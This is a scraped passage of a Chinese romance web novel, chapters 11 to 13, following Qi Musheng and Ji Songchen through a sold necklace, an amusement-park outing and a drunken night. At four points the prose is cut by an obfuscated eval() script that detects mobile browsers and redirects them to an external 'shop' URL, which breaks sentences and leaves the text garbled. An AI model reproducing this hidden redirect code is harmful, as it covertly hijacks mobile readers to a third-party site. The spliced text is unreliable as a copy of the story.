;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603223|187544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没想到过了三天还留有痕迹。 “疼啊,怎么不疼,你不向着我,就更疼了。” 邱铭见她关心自己,反而诉说起委屈来。 “那日的事,确实有我的问题在。” “没有你的问题,全是那小子的问题!下手这么狠。” “邱铭,你别去找他的麻烦好不好?”齐慕声拉了拉他的衣袖,小声说。 “喂,怎么哭了?”一滴眼泪滴到邱铭手上,邱铭才意识到发生了什么。他蹲在齐慕声面前,用手擦去了她的眼泪,“乖,别哭了,我答应你,不去找他就是了。” 齐慕声抹了把眼泪,说:“今天医院给我打电话了,我要走了,你也快回去吧。” 邱铭突然想起今天来找她的目的,说道:“今天医院也给我打了,叔叔又摔倒了。” 齐慕声有些疑惑,“为什么医院要给你打电话?” 邱铭坦白:“一开始联系人填的我的名字。” 他知道这三万块医药费对齐慕声意味着什么,她可能努力工作两年也拿不出这笔钱,但医院那边已经等不及了。 “声声,如果你愿意跟我在一起的话,这些钱根本就不是问题,你知道的,我......” “你给我闭嘴。”齐慕声起身,直接打断他的话。“你以为你有钱了不起吗?少拿钱来威胁我了,这笔钱我自会想办法,我也会向你证明,没有你的保护,我也会过的很好。” 齐慕声转头就要走,邱铭从背后一把将她揽到怀里。 邱铭将头埋在她的脖间,委屈巴巴地说着:“声声,声声。你不理我的这些天,我真的很难过。只要你肯稍微顺着我一点,我就一定不会让你受委屈的。” 齐慕声懒得和他废话,直接甩开他。 她没办法在这么短的时间内改变邱铭的想法。 “别再追上来了。”她只留了这么一句话,就离开了。 邱铭也真的乖乖留在原地,没再追上来。 齐慕声到医院,大概了解了一下父亲的情况,这次医院没像上次一样宽容,只给她留了三天时间,限她在三天内将手术费凑齐。 “你为什么要从病房里跑出去?” 她站在这间病房的另一边,问她父亲。 “对不起啊慕声,爸爸想着住院费太贵了,不住了也能少给你们添点麻烦,真没想到啊,爸爸该死,爸爸该死。”齐江说着说着,就用手扇自己巴掌。 齐慕声眼泪止不住地流,颤抖着说:“爸,你别说了。” 她真的想给自己的父亲跪下来了。 她永远无法忘记二零一二年的这天下午她是怎么从医院走出来的,病房到医院大门口那段路,竟然有这么长。 她在街上漫无目的地走着,感受榆衡的阳光普照,却生不起一丝暖意。 路过一家首饰店,对路人展示的橱窗里,一个模特戴着一条蓝宝石项链,和纪松臣送她的那一条很像,却远不及那一颗蓝宝石耀眼夺目。她想伸手触碰,却隔着一层玻璃。 也许那么耀眼的东西,从来就不该属于她。 11. 项链 我说 “您好,请问这条项链几成新?” 齐慕声看着电脑上弹出的窗口,手指在鼠标上顿了顿,一时心乱,犹豫了几秒,还是将聊天框点开。 “全新的,所以原价出。” 对面接着问:“这条项链是您什么时候买的呢?” “三天前。” 那人最终付了全款,留给齐慕声一个地址。 榆衡大学。 齐慕声回宿舍,将装着项链的礼盒从柜子里取了出来。她打开盒子,仔细观摩着这条项链。她伸出手,想触摸一下那颗宝石,却在离它不到一厘米的距离,又黯然地将手收了回来。 收货人约定好下午两点,和她在学校的咖啡馆交接。齐慕声一点半左右,就将项链放进了书包里,在咖啡馆的角落里找好了位置。 咖啡馆里时不时想起滴滴答答的钟声,她望着墙上挂的美式钟表,心跳的频率高过了秒针转动的速度。 她快到和这条项链说分别了。 那人戴着棒球帽和口罩,穿着干净的白短袖,在咖啡馆里光线最暗的地方,一眼看见了她。 他朝她走过来,齐慕声感觉自己的呼吸快要停止了。 他拉开椅子,坐在她对面,与她四目相对。 带棒球帽的人看着她焦虑不安的样子,淡淡地开口。“齐小姐,我要的东西呢?” 齐慕声脸色发白,一时不知该如何解释。眼前的买家不是别人,而是纪松臣本人,这条项链真正的主人。 纪松臣见她没反应,又重复了一遍:“把那条项链给我。” 齐慕声有些羞愧,将那条项链连带着礼盒一起从包里拿出来放到了他面前。 纪松臣打开礼盒,昏暗的咖啡馆角落更衬得这颗宝石熠熠生辉。 他将这条项链小心翼翼地取出,站起身,走到她身边。 齐慕声出于本能,往后躲了一下,“你要干嘛?” 纪松臣往前逼近了一步,“别动。” 纪松臣将那条项链又重新戴到她脖颈上,摸了摸她的头发。齐慕声几乎将整张脸都埋在他的腹肌前,他将她带着紧张和恐惧的呼吸听得一清二楚。 纪松臣蹲下身来,视线和她平齐,平静地看着她,试图想让她放下心来,“别害怕,我知道你是出了什么事情需要用钱,不好意思和我开口,没关系,我将这条项链买下来,再送给你一次。” 齐慕声一直低着头,摸了摸项链上镶嵌的宝石,听了他这句话,才缓缓抬起头,对上的一双比这宝石还要漂亮百倍的双眸。 “对不起,真的不是我不喜欢你送我的东西,我真的没办法了才这样做的。” 纪松臣揉了揉她的头发,看起来心情不错,“没关系,我知道的,你不用和我说这种话,我心甘情愿把它买下来送给你,无论多少次,它都会属于你的。我还有事,晚点我来接你。哦对,我还有个东西要送给你。” 齐慕声有些疑惑:“什么?” 纪松臣从口袋里拿出一张银行卡,放到了她手里,将她耳边的碎发拢到耳后,在她耳边低声说:“密码是xxxxxxxx” 听着那串密码,齐慕声捏着银行卡的手略微有些松动。 那是他们第一次遇见的日子。 下午无事,齐慕声早早取了钱打算去医院,先把父亲这段时间的治疗费交上。榆衡早已迎来了微风不燥的季节,暖阳洒在大街小巷,驱赶了连绵不断的大雨带来的寒意。 到了医院大门口,齐慕声将自己的包背紧了一些,一路上胆战心惊。到了缴费处,值班医生有些迟疑地看着她,“这个病人昨天就有人把医药费交了啊。” “什么?” 医生查了一下当时的记录,问她:“交钱的人姓纪,戴着个口罩和眼镜,看不清脸,挺高的,气质也不错,你认不认识?” 齐慕声点了点头,说了句认识,又背着那个装着几万块钱的包走了出去。 她站在门口,想了想,还是拿出电话,给纪松臣发了一条短信: “谢谢你一直帮我。” 离上班的时间还有几个小时,齐慕声回学校找了间教室复习古代汉语,每隔几分钟便总是不自觉地去看那条短信,一直到她去电台上班前,那条短信都没有收到回应。 她看了整整三个小时的书,却连一条完整的概念都没有记住。 她在校门外张望了片刻便在熙熙攘攘人群里找到了那熟悉的身影。 奇怪的是,他这次并没有开车。 “今天天气很好,陪我散散步吧。”他接过齐慕声的包背在自己肩上,站在她的右手边,和她并肩走着。 无论是在生活里还是工作中,纪松臣其实很少主动要求她做什么,一旦他开口,只要不过分,齐慕声都不会拒绝他。 榆衡大学外的光华大道上种了一排银杏树,金黄的银杏叶落了满地,无人清扫,倒成了榆衡大学一道独特的风景线。纪松臣踩着银杏叶,发出吱呀吱呀的声响。 一阵风吹过,树上的银杏叶又落了不少,恰好有一片落在了纪松臣的肩上。 齐慕声刚想伸手拂去,手还碰到他的肩膀,纪松臣突然转过身来,那片银杏叶随着身体的转动滑落下来,齐慕声伸手接住了它。 那是一片并不完整的银杏叶,脉络磨损的厉害,叶尾有些细碎的缺口。 齐慕声想了想,还是没舍得让它埋没在一众银杏叶里,但又无处安放。 “我可以先帮你保管,做成标本送给你。”纪松臣低头看她手上那一片银杏叶,和他见过的任何一片银杏叶都不同,并不是漂亮,而是一种透出枝干的生命力。 齐慕声双手捧着那片银杏叶,小心翼翼递到了他面前,生怕它随着一阵风吹过而飞走。 人总是越担心什么,就越会发生什么。 纪松臣同样小心翼翼地从她手里接过那片银杏叶,生怕自己弄碎了它。银杏叶上尚且保留她指尖的余温,纪松臣还没来得及收好,就见一辆吉普从他身边飞驰而过,席卷了一场银杏雨。比他反应更快的是齐慕声,连忙将他拉到了一边去。 纪松臣一时没站稳,抱着齐慕声摔在了满天银杏里。 齐慕声被吓得不轻,呆呆地看着他。 饶是如此,纪松臣的玫瑰金半框眼镜都没从鼻梁上滑落,他低头正好对上齐慕声秋水般的眼睛,同样在注视着他。 看着那双漂亮的眼睛,和她脖子上的项链,他动了动喉咙,最后还是把到嘴边的话咽了下去,缓慢起身,将她扶了起来,替她清理头发上的残叶。 “可惜了那一片银杏叶。”齐慕声拢了拢头发,有些遗憾地说道。 纪松臣蹲下来,开始在满地的银杏叶里翻找。 看他找的认真,齐慕声也蹲下来,在一堆银杏叶里找了起来。 他们摔在一起的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605703|187544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没有风吹过的,多半是落在了这周围。 纪松臣轻哼了一声,他找到了那片银杏叶,但叶子边缘太锋利,在他指尖划了一道口子,他的血顺着叶片流到了叶柄。 “怎么了?”齐慕声听见身后的轻哼声,转过头一看,纪松臣已经找到了那片银杏叶并捧到了她面前。 齐慕声还没来得及高兴,先注意到了叶片上的血迹,抓过他的手检查,发现右手食指上还在不断往外渗血。 “很痛吧?”齐慕声在背包里翻来覆去找了半天,最后在背包最底下找到了一个hellokitty创口贴,小心翼翼地贴在了他的手指上。 纪松臣盯着手指上正对着他的hellokitty,小声说:“很可爱。” 齐慕声一时没听清他在说什么,抬起头正好对上他幽黑的双眸,即使天已经完全黑沉下去,那双眼睛并不会因此黯淡半分。 “你刚刚说什么?” 纪松臣又靠近了一点,齐慕声甚至能听见他的呼吸声。 他贴在她的耳畔边轻轻说:“我说,你很可爱。” 齐慕声像小时候传纸条被班主任抓到还要当众朗读那般心跳加速,连忙跳了起来,跑出了几米远,背对着他,捂着胸口,心脏止不住的乱颤。 身后传来纪松臣低沉的笑语,他借着路灯反复观摩着手上的银杏叶和手指上的hellokitty,抬头看了一眼她的背影,像刚刚带回家怕生的小猫一般,茫然地不知所措。 “以前从来没人说过你很可爱吗?” 齐慕声认真回忆了一下,倒真没有人夸过她可爱,似乎这两个字,和她八竿子打不着一块去。 纪松臣站起身,走到她的身后,“吓到你了?” 齐慕声渐渐冷静下来,“没有,我们走吧。” 她也不知道面对纪松臣在她耳边说那句话的一瞬间,脑海里一闪而过的是什么。 到了电台,离直播还有半小时。 电台二楼,集体加班,众人都在议论着,这个月末到哪去团建。 有的说团建最好的去处是酒吧,有的说是去搓麻将。 “我说你们无不无聊,就这几个地方去不腻吗?”韩佑鄙夷地看了他们一眼。 “呦,韩大少爷,您有何高见?” 韩佑把烟掐灭,摸了摸鼻子,说:“这次电台批的钱多,要我说现在天气也好,咱不如去极光游乐场玩一天算了,那边好几个新项目都开了,过山车都是升级版,晚上还能看极光呢。” “你小子怕是早就蓄谋已久了吧,就想着拿领导的钱消遣是吧。”曲云帆笑着打趣,其他电台主持人也开始思考月末团建要不要换个口味。 “我同意。”孟冉率先开口,其他几人也纷纷跟票。 韩佑见这个人都无异议,走到齐慕声和纪松臣这边来,却只问齐慕声,“慕声,这月末我们电台有活动,公费去游乐场,要不要一起来玩?” 齐慕声瞥了一眼纪松臣,好奇他的想法,韩佑连忙提醒她:“你不用问他了,这家伙,每次电台有集体活动都不来,我都懒得问他。” 纪松臣突然说:“谁说我不来?” 说罢,纪松臣推开他,转身上楼准备直播,齐慕声报了名之后跟了上去,留下电台众人一片唏嘘。 韩佑看着这俩人一前一后从自己面前离开,回头问他们:“今天月亮打哪边出来的?” 12. 团建 齐慕声一大早眼睛还没睁开就跑到了校门口,在路边看见了纪松臣的车。 纪松臣打了个哈欠,在后视镜里看见齐慕声过来,下车将副驾驶的门打开了。 车上空调温度刚刚好,还有清新的苍兰香。纪松臣一如既往戴着口罩和半框眼镜,默默地打开了车载音乐。 他从包里掏出个法式面包还有一盒牛奶,递给齐慕声,“吃点东西。” 齐慕声嚼了两口干巴巴的面包,喝了两口经典的早餐牛奶,实在有些难以下咽。 倒不是她挑食,实在是吃不来这些外国人爱吃的东西,从她开始记事起,就没怎么吃过这种东西。 齐慕声扭头一看,一旁的纪松臣却嚼的津津有味,他吃得很慢,几乎嚼三口面包就要喝一口牛奶,形成了一种很平衡的规律。 他握着那盒早餐牛奶的手指上,昨天划伤的食指指尖外侧已经结了痂,在白的像雪一样的手上格外惹眼。 “不爱吃就放那里吧,等下看看游乐场里面有没有吃的。”纪松臣见她窘迫的样子,也知道她心里在想什么。 齐慕声红着脸尴尬地笑了笑,“不好意思。” “这有什么不好意思的,他们定的时间太早了,我也起不来,来不及去早餐店买热的了。”纪松臣把口罩戴好,将车钥匙拧了两圈,脚踩离合,将车子启动。 他看了一眼车上的时间,八点十五,他早都忘记了上一次这个时间起床出门是几年前的事了。 到了极光游乐场大门口,韩佑曲云帆他们早在那里等着了,就差他们二人就可以直接领票进门了。 “诶呦,你小子让哥们好等,我以为你们两个不来了呢。” “少废话,答应的事我什么时候食言了,把票给我。”纪松臣懒得跟他废话,淡淡地伸出手。 曲云帆把两张票递到他手上,纪松臣分了一张给齐慕声。齐慕声把那张镭射票放在阳光下,光透过票上的旋转木马和城堡,五彩斑斓的,像梦成真一样。 初中的时候,她总是考年级第一,那时候父母还没离婚,齐江也还没染上赌瘾,日子还算过得去。她最大的心愿就是父母能在周末带她来一次游乐场。 一直到他们离婚,这个愿望她都没能实现。反倒是邱铭,邀请她来过几次,但她都拒绝了。 大家都是成年人了,一进游乐场,各有各的安排,便不再一起行动。 兴许是工作日的缘故,极光游乐场的人并不向周末那么多,一眼望过去,几个项目都是不需要排队的。 “你想先玩什么?”齐慕声问。 这也是她第一次来游乐场,对里面的大部分娱乐设施都不是很了解,她想着听一听纪松臣的意见,看看他想玩什么。 纪松臣犹豫了片刻,脱口而出四个字:“旋转木马。” 齐慕声忍俊不禁,她打量着纪松臣接近一米九的身高,还以为他会说什么跳楼机海盗船这种刺激的游戏。 纪松臣敲了敲她的脑袋,“笑什么?我是怕吓到你。” “我不害怕,我们去玩过山车吧,旋转木马没意思。” 纪松臣咽了咽口水,还没来来得及同意或是拒绝,就被她拉到不远处的木质过山车那里等着排队了。 纪松臣鬼使神差地被她拉上了过山车,连安全带都绑好了,工作人员劝他摘下口罩,不然到达最高点会影响呼吸,他刚想拒绝,齐慕声一把将他口罩摘下,递给工作人员。 “喂——”口罩一摘,纪松臣瞬间感觉有些不自在,看了看两边的人,左边坐着的是齐慕声,很兴奋的样子,右边坐着一个小男孩,看起来倒是很平静。 他悄悄闭上了双眼,在心里默默祈祷着。 在过山车上行的这段路,纪松臣连眼睛都没舍得睁一下,不管齐慕声怎么叫他,他都熟视无睹。 坐过过山车的人都知道,整个过山车最可怕的一段,应该是到达最高点时静默的那三秒钟。 偏偏纪松臣没坐过,他到达最高点的时候,以为过山车出故障了,停在这里了,这才睁开眼打算看一眼。 眼睛刚睁开不到一秒钟,下一秒他就后悔了。耳畔传来齐慕声和那个小男孩的尖叫声,参杂着风声,听起来异常刺耳。饶是如此,他都没有和他们一起喊出来。他知道,喊一次,又要离开电台三天了。 好在那段向下冲刺的车程没有持续太久,他渐渐调整过来,适应了这个节奏,但从始至终,眼睛再也没有睁开过,一直到彻底结束回到地面。 “怎么样?好玩不?”齐慕声一下车就问。 “好玩,好玩。”纪松臣勉强挤出个笑容,他的眼前已经变得模糊了。 齐慕声伸手扶住他,感受到他身体渐渐发凉,又注意到他惨白的嘴唇,才意识到他可能不适合这种刺激性游戏。 “走我们去一边休息一下。” 纪松臣摆了摆手,“不用,下一个,海盗船。” 既然已经开始突破第一关了,索性把这几个危险的项目一起玩了,长痛不如短痛。 纪松臣一口气将海盗船和旋转飞椅都坐了,从飞椅上下来的时候,纪松臣险些摔在地上,齐慕声眼疾手快,一把抓住他的手将他拉住,寒意从指尖传来。 纪松臣本就白皙的皮肤更是没有一点血色。 齐慕声把他扶到旁边的长椅上,让他休息一下。 纪松臣双目晕眩,勉强挤出了一个笑容,“想不到你胆子还挺大的,这么多玩下来还是活蹦乱跳的。” 他想,一定是他上了年纪的缘故,才玩不来这群年轻人玩的东西。 “这样吧,你夸夸我,等下我就陪你坐旋转木马。”齐慕声歪着头看他,乌黑的眸子里闪着期待。 纪松臣收起了刚刚的强颜欢笑,取而代之的是发自内心的笑容,“好,你是这个游乐场最勇敢的小女孩。最勇敢的小女孩在陪我坐旋转木马之前,可以答应我一个请求吗?” 齐慕声疑惑:“什么?” 纪松臣把她带到了跳楼机项目前,他站在那个高耸入云的跳楼机前,听着人们的尖叫声,凝视了许久。 纪松臣双手扶着她的肩膀说道:“这是最勇敢的小女孩最后一个考验。” 齐慕声却摇头拒绝了,“不要。” 纪松臣看她面色红润活蹦乱跳,显然不是害怕,想不出她拒绝的理由。 “你再玩这个,要出事的,我不当这个游乐场最勇敢的小女孩了,我们去玩旋转木马吧。” 纪松臣的语气也不容否定,“这个我是一定要坐的,就当完成我一个心愿吧。” 他看着跳楼机出神良久,思绪回到三年前,那个明媚的女孩也曾拉着他的手,让他陪自己去游乐场,但他当时以学业太忙为由拒绝了。 说到底,他还是没法面对内心深处的梦魇。 他拒绝之后,那个女孩为了气他,拉着另一个男孩玩遍了游乐场所有高危刺激性项目,还故意露出了他们二人的合照。 接下来的事,纪松臣不愿意回想下去了。即使齐慕声不陪他,他也会把这些项目都一一体验完。 齐慕声还是跟了上去,两人绑好安全带,摘下眼睛,纪松臣又闭上了眼睛。 整个旅程体验很快,是纪松臣感官上结束最快的一次,但却是他觉得自己离死神最近的一次。他无比佩服那些敢睁着眼睛体验完全程的人,这比让他脱光了当众在电台跳钢管舞还难做到。 齐慕声就是那个全程睁眼的人,甚至叫的很开心,她根本不知道这些项目有什么可怕的,毕竟不是真正意义上的跳楼。 直到跳楼机坐完,纪松臣的神经系统彻底开始紊乱,他捂着胃部,踉跄地往长椅旁的垃圾桶走去。胃里一阵翻江倒海,他弯着腰,手扶着垃圾桶,几乎是将早上吃的法师面包和牛奶吐的一干二净。 齐慕声拍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605704|187544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍他的后背,说:“你先在这里等我,我去那边摊子上买瓶水。” 纪松臣勉强用喉咙发出个好字,便觉胃里一阵恶心。 身后传来高跟鞋轻踩地面的声音。 叮咚,叮咚。 最终在离他三米远的地方停下。 “纪松臣,想不到你也会陪女孩子逛游乐场玩那些刺激的项目啊。”语调一如既往的骄纵,带着三分阴阳三分刻薄四分不甘。 不管过了多少年,纪松臣对这个声音都无比熟悉,这是他的前女友,倪南的声音。他下意识地回了头,许是今日阳光太刺眼,他看了倪南一眼便又转过身去了。 “怎么?现在连看我一眼的勇气都没有了?你明明恐高那么严重,为什么还要陪她玩这些?你不要命了?”倪南刚要抬脚往前逼近,齐慕声拿着一瓶柠檬汽水冲到了两人中间。 她将汽水瓶盖拧开,在空气中静置了三秒,才递给纪松臣。 纪松臣尝了一口,吐到发苦的喉咙渐渐恢复味觉。 齐慕声这才注意到离纪松臣不远处,还站着个女人。 长得好完美的女人,这是齐慕声第一反应。 明媚张扬,一身红裙,站在阳光下,就像烈焰玫瑰一般,没有一丝瑕疵。 齐慕声看着她几秒钟,渐渐忘记了呼吸。 倪南对齐慕声的反应很满意,刚想上来跟她打个“招呼”,谁料纪松臣突然复活了一般站起身,把齐慕声拉到了他身后,目光不似刚刚那般呆滞,反而是一种淡然。 倪南非但没有生气,反而是笑着说:“你瞧你急的,我又不会把她怎么样。” 纪松臣没有直接接她的话,而是问了个毫不相干的问题:“倪南,你还在跟林羽谈恋爱吗?” 倪南又起了兴致,“怎么,你在乎?” 纪松臣歪着头看她,也笑了起来:“我在乎什么,你们两个就应该长长久久地在一起啊,不然分开了就要恶心更多人了。” “纪松臣,你的嘴还是这么硬啊。” “我转行这么久,嘴早都变软了。倪南小姐,要是没什么事,我就带着我女朋友先回去了。” 齐慕声目光在他们二人身上不断交换,大概也猜出了两人的关系。她不得不承认,这两个人放在一起,简直是天作之合。 他们才是一个世界的人。 倪南打量了一下他口中的女朋友,放在人群里有点漂亮,但并不出众,属于清纯挂的,想不到他们分开这么久,纪松臣的口味变化这么大,“纪松臣,走着瞧啊,你早晚会回到我手里的。” 纪松臣很坚决:“不会。” 他拉起齐慕声的手,转身便走了,没有再回头看过一眼。 齐慕声不明所以,脑子里一团乌云,他刚刚是在称呼自己为女朋友吗? 纪松臣带她来到了旋转木马前,这是他们今天的最后一个项目。 “喂,你刚刚.......” 还没等齐慕声问完,纪松臣又恢复了平日里漫不经心的语调,好像刚刚的一切都没有发生过,“什么?” 齐慕声将那个疑问咽了下去,“你现在还难受吗?” “没事了,谢谢你的汽水。”纪松臣说。 也谢谢你愿意帮我解围。 他同样也没有说出口。 两人快到闭园的时候,才和电台的大部队碰上面。 韩佑撞了撞他的肩膀,“你小子可以啊,抛弃哥们私下约会是吧?” 韩佑虽然压低了声音,齐慕声离得近,自然也听得到,她想起了倪南,韩佑多半是撞见了他和倪南在一起的时候。 “少胡说了。” “来,大家一起合个影。”孟冉提议。 女生站前面,男生站后面,齐慕声站在了画面的最边缘,纪松臣选择了齐慕声身后靠左的位置,悄悄摘下了口罩。两个人一左一右,倒像是并肩而立。 13. 过夜 从游乐场出去后,这群人又聚在一起吃饭喝酒。这群平日里看起来斯文儒雅的电台主持人,一到酒吧里就像换了个人般,叫嚷着不喝到天亮谁都不准回去。 纪松臣抬手看了看腕表,已经接近十二点了,身旁的齐慕声喝了半杯冰啤酒,眼睛半睁半闭靠在沙发的角落里,脸颊微醺,长长的睫毛落在卧蚕上,杂乱耀眼的灯光胡乱拍在她的脸上,看起来有种和谐的美感。 酒吧里的空调温度开的太低,齐慕声打了个寒颤,意识刚有一点清醒,想睁开眼睛继续参与这场酒局,让自己在这个团体中显得不那么扫兴。奈何刚刚喝的那半杯酒酒精度数实在太高了,她醒了不到一分钟昏沉的困意又袭来了,不受控制地合上了双眼。在此之前,她看了一眼纪松臣,只是自顾自地喝酒,既没有参与到他们热闹的酒桌游戏中,也没有想回去的意思。 纪松臣脱下自己的皮夹克,趁她睡着,悄悄盖在了她身上。他刚一俯身,就看见她放在酒桌上的电话闪烁个不停,上面没有备注来电人姓名,但他记得这个号码的主人,因为那个人已经用这个号码已经问候过他很多次了。 他拿起手机,手指放在拒接键上,刚想挂断,又看了看身边熟睡的女孩,既不忍心打扰她,又没法替她做决定。 他叹了口气,把电话放到桌子上,响了约莫一分钟,那电话自己便挂断了,随后屏幕亮起了一行字,“声声,明天下午六点一起吃饭吧。” 他重新倒了一杯朗姆酒,一饮而尽。 “纪松臣,要我说,你就今晚趁乱拿下得了呗。”韩佑用肩膀撞了他一下,朝齐慕声挤了挤眼睛。 “滚开。”纪松臣懒得理他,站起来,慢慢俯下身,将齐慕声轻轻抱在怀里,原本嘈杂的周围瞬间鸦雀无声,只有酒吧音响里流淌出的远古民谣。 众人都屏住了呼吸,目不转睛地盯着纪松臣。 他今晚喝了不少酒,左手有些微微颤抖,身体也有些晃动,但他意识清醒,知道自己在做什么,就这样在众目睽睽之下抱着齐慕声走出了酒吧。 榆衡的夜晚愈发冷了,纪松臣穿着单衣,站在公交站牌下,等了接近十分钟的出租车。 出租车司机将后车门打开,他将齐慕声小心翼翼地扶到车上,自己坐在她旁边。她的头下意识往车窗那边靠,纪松臣怕她睡的不舒服,用手挡在了她的头和玻璃之间。 “帅哥,去哪里?” 纪松臣迟疑了一秒,还是说:“去榆衡大学吧。” 纪松臣也有些困了,开始闭目养神,他心里乱乱的,找不到可以疏解的关键点。 司机过红绿灯时,突然一个急刹,险些和飞驰而过的摩托车撞上,纪松臣心里默默想:“这两边的车技都欠练。” 车子突然停了,齐慕声由于惯性头往玻璃上撞了一下,正好撞在纪松臣的手上,纪松臣吃了痛,强忍着没发出一点声音来,齐慕声倒是被吓醒了,看着纪松臣手心渐渐发红,便知道怎么回事了。 齐慕声有些尴尬地开口:“不好意思,我睡得太沉了。” 纪松臣摸了摸她的头,“下次别再喝酒了。” 其实她知道,纪松臣明里暗里替她喝了更多,这半杯酒是她实在看不下去才喝的,没想到自己的酒量竟然这么可怜。 齐慕声低头,看见自己身上盖的皮夹克,刚想还给纪松臣,纪松臣按住她的手,“路上冷,穿着吧,喝醉了又吹冷风会生病的。” 到了大学门口,齐慕声酒醒的差不多了,纪松臣也放下心来,下车前,他突然把她叫住。 “怎么了?”齐慕声回头,透过他轻薄的眼镜片,发现纪松臣正以一种非常凌乱的眼神看着她。 平日里一双看什么都淡然的眼睛,现在眼底竟然流露出恐惧和不安,随后又烟消云散。 “那个人,给你发了短信。” 齐慕声知道他说的是谁,点了点头,示意自己知道了,但她无法忽视纪松臣刚刚眼里流露出异样的情绪,她又重新打开车门,坐上了车后座。 “你没事吧?” “我没事啊,我能有什么事?”纪松臣将眼镜摘了下来,打了个哈欠,不敢再看她。 “少骗我了,你看见他给我发的内容了?”齐慕声拿出电话,开见了那条未接电话和未读信息。 “我不是故意要看的,抱歉。”纪松臣只道她是在意自己不尊重她的隐私,略带羞愧地开口。 齐慕声当着他的面删掉了那条短信,“我不回宿舍了今晚。” 纪松臣不解:“那你想去哪?” “去你家里,你不会不欢迎我的对吧?” 纪松臣透过她清澈明亮的双眼里,看到了一丝狡黠,是他从未见过的。 司机将车开到星河公寓楼下,整个小区还是灯火通明的,纪松臣打开灯,“来,坐这里。” 齐慕声突然问:“你家里有酒吗?” 纪松臣一脸困惑,刚刚是谁在酒吧里喝了半杯酒就睡着了? “刚刚喝的不够尽兴,我们一起喝一杯吧,这里只有我们两个人。” “好,那你等一下。”纪松臣转身去客厅的柜子里拿出了两个酒杯,清洗干净,在冰箱里翻了半天,找出一瓶度数低的鸡尾酒,倒了小半杯,又加了一整片柠檬进去,降低入口的苦涩感。 “只准喝一杯。”纪松臣将两杯鸡尾酒端过去,递给她一杯。“这杯酒的名字叫赫利欧恒望,希腊语,希望你的人生可以如太阳一般耀眼。” 齐慕声抿了一口,口感由一开始的苦涩,变为辛辣,最后留给舌尖一抹甘甜,“纪松臣,你有心事。” 纪松臣刚要举起酒杯一饮而尽,手却停在半空迟迟没有下一步,过了几秒后才淡淡地说:“大人的事,小孩少管。” “是因为白天在游乐场遇见的女孩子吗?” 兴许是喝了太多酒的缘故,纪松臣脑子里开始控制不住地想白天在游乐场与倪南的相遇。一别数年,再次相逢,她还是一点都没有变。 变的人是自己。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605705|187544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 纪松臣闭上了双眼,靠在沙发背椅上,有些疲惫地开口:“不提她了,喝完这杯酒,早点睡觉。我和她,没一点关系。” 他将那杯酒一饮而尽,觉得度数不够高,喝的不够尽兴,踉踉跄跄地站起身来,去冰箱里拿出了一瓶朗姆酒,自顾自地往酒杯里倒。 齐慕声拿起那瓶酒,也开始学着他的样子往酒杯里倒酒,纪松臣按住她的手,抢过了那瓶酒,“你不准喝了。” “你不开心,我想陪你一起喝。” 纪松臣放下酒杯,靠的离她更近了一点,昏暗的灯光下,安静的能听见彼此的心跳声。“我没事,今天和你一起玩很开心,我已经很久没有玩的这么开心了。” 齐慕声透过他的眼睛,看见了深藏在他的眼底的疲惫与不安,这次他没有躲藏,而是完完全全暴露在齐慕声面前,齐慕声看着他那双写满遗憾的眼睛和他此时半醉半醒的神态,觉得自己一定还没从酒吧的那场梦中醒来。 她咽了咽口水,一时也不知说什么安慰他,没头没脑地说了句:“那你也不准喝了。” 纪松臣被她逗笑了,默默把酒杯放下,等再转过头去看她,不知道什么时候把自己缩成小小一团,窝在沙发一边睡着了。 纪松臣帮她把鞋袜脱掉,将她横抱起来,放到次卧的床上,盖好被子,在她耳边轻声呢喃:“慕声,谢谢你。” 齐慕声的眼皮跳了一下。 * 齐慕声直接睡到了上午十一点,一看手机十七个未接来电,全是邱铭打过来的。 她知道自己要是再不给他回个电话,他很快就要报警了,要是让他在纪松臣家里找到自己,到时候说不定又要去找纪松臣的麻烦。 她躲进纪松臣家的卫生间里,拨通了那个号码,电话的另一边传来个火急火燎的声音:“声声你在哪?是不是出了什么事?” 齐慕声吓得连忙把电话音量键调低,把自己的声音压低:“我没事。” 